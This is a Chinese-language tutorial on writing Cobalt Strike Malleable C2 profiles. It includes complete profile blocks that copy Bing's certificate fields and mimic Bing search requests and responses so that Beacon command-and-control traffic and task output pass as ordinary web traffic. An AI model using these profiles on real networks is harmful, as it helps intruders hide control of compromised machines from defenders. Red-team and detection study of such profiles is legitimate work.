Cobalt Strike Malleable C2 介紹
Malleable C2 是 Cobalt Strike 的一項功能, 意為 "可定制的" 的 C2 服務器. Malleable C2 允許我們僅通過一個簡單的配置文件來改變 Beacon 與 C2 通信時的流量特征與行為.
對於我們的新配置文件,我們將首先配置HTTPS證書。填寫HTTPS證書通常很簡單:在瀏覽器中加載目標域,然后從合法證書中復制詳細信息,
以下是在配置文件中配置Bing證書的語法:
https-certificate {
set CN "www.bing.com";
set O "Microsoft Corporation";
set C "US";
set L "Redmond";
set OU "Microsoft IT";
set ST "WA";
set validity "365";
HTTP-GET
處理實際的請求和響應,我們可以填寫URI,標頭,參數和輸出格式:
http-get {
set uri "/search/";
client {
header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
metadata {
base64url;
parameter "q";
}
parameter "go" "Search";
parameter "qs" "bs";
parameter "form" "QBRE";
}
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
output {
netbios;
prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}
我們從實際請求中分配基本URI,可以使用以空格分隔的URI列表為配置文件指定多個URI。Cobalt Strike在檢入時將為每個主機隨機分配URI。http-get和http-post之間的URL不能相同 ,所有URI必須唯一。但是,我們可以簡單地更改一個字母的大小寫以使URI不同,在header "key" "value";或parameter "key" "value";語法之后,添加header和parameter,需要在客戶端部分發送給Cobalt Strike的關鍵數據是主機數據。我們可以將數據放在標題,參數,URI或請求正文中。如果將信息放在標頭,參數或URI中,則需要對數據進行編碼。Malleable C2提供四種數據編碼類型:base64,base64url,netbios和netbiosu(大寫)
#base64
nqveOtUC+NlNAyHPVkSLMA==
#base64url
hf2D_5jHAA9ftoOe_ZY3zQ
#netbios
haklhhicanfeldpmgkefkhgjmhccgbmp
#netbiosu
HHHHGLGDJDELLEKFMDKAANJCLHIEFEMC
除了編碼,我們還可以在信息之前或之后添加字符串。Cobalt Strike從上到下解釋命令,並在終止語句(我們在此處指定放置信息的位置)上進行處理。四個終止語句是:print,header,parameter和uri-append例如,在本部分的服務器部分中,我們配置響應以使用netbios編碼Beacon任務,並將其插入從實際響應中拉出的長HTML字符串中。我們使編碼后的任務看起來像Bing搜索結果中的一個值。在HTTP-GET服務器輸出必須使用打印終止語句。
HTTP-POST
http-post { set uri "/Search/"; set verb "GET"; client { header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG"; output { base64url; parameter "q"; } parameter "go" "Search"; parameter "qs" "bs"; id { base64url; parameter "form"; } } server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; output { netbios; prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } } }
我們需要對http-post部分進行一些更改。需要使“搜索”以大寫字母開頭,從而使URI與http-get URI有所區別。我們還將HTTP更改為GET,而不是默認的POST。在這一部分中,我們有兩個信息,信息必須返回到Cobalt Strike服務器:會話ID和任務輸出。我們將base64url編碼的任務輸出放置在q URL參數中,在此我們配置了http-get來發送主機數據。我們以 URL參數形式發送的會話ID
HTTP-Stager
http-stager { server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; } }
此處正常設置header信息
#beacon與C2通信過程
當 Beacon 被執行后, 會在 C2 上下載載荷執行, Stage 過程,Stageless則無這一步驟,Beacon 根據設置的睡眠時間進入睡眠狀態, 結束后向 C2 發送有關 Beacon 的信息如系統類型, 版本, 當前用戶信息,為Metadata,如果存在待執行的任務, C2 就會響應發送 Metadata 的請求, Beacon 將會收到有關 Task 的具體內容和唯一的 Task ID, 並依次執行任務,執行完畢后, Beacon 將各 Task 回顯的數據與對應的 Task ID 依次上傳至 C2, 然后再次進入睡眠狀態,其中 Beacon 發送 Metadata 時一般使用 GET, 上傳回顯數據時使用 POST。
#參考鏈接:
https://www.cobaltstrike.com/help-malleable-c2
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/